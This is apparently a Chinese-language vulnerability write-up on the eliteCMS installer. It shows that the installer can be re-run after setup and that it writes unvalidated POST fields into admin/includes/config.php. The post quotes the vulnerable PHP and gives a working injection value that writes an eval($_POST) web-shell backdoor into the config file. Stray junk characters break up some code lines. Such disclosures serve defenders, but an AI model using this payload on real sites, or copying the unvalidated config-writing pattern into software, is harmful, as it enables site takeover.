eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

" S/ d& _" @0 H; P另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
* D  H1 Q+ Q5 V) \& A我们来看代码：
: h/ U6 T: O! H( H! ]
3 a' J" e9 W! f7 _8 q) u...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
) j8 B, R# H+ Y9 I* S) t4 d- {3 s+ s    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
$ P) b( ], E& b; V8 k+ b% s) O    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
2 ^, H8 f; V8 V    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
1 M* O0 q3 c5 H5 w; G; }. u. }5 {    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
: U7 p. o) e' \  b    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
) A: N5 F, e8 @2 ?% H' L& _    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
' ?8 K" ?$ b* d9 A. l1 h; z    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
4 l% e2 Z# y. z! y1 d    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
! |& P6 c+ K. w7 W( \  B    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

' O0 N' K+ [8 i/ ~! C4 K* u8 h, x    $writer = fopen($file, 'w');
2 C" y* ?+ ~2 P" K" P; ~# b...
7 q+ f7 M9 V, w) A& J
在看代码：

! z  U' k5 v8 q1 r) F& Y8 D$ {$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
4 f1 I+ f: q6 w5 }& N8 y* T$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
2 P0 i0 q/ Y0 l6 P/ s
"?><?php eval($_POST[c]);?><?php

& q6 O& ~* ?/ z& z* T' d- ~- V# d将导致一句话后门写入/admin/includes/config.php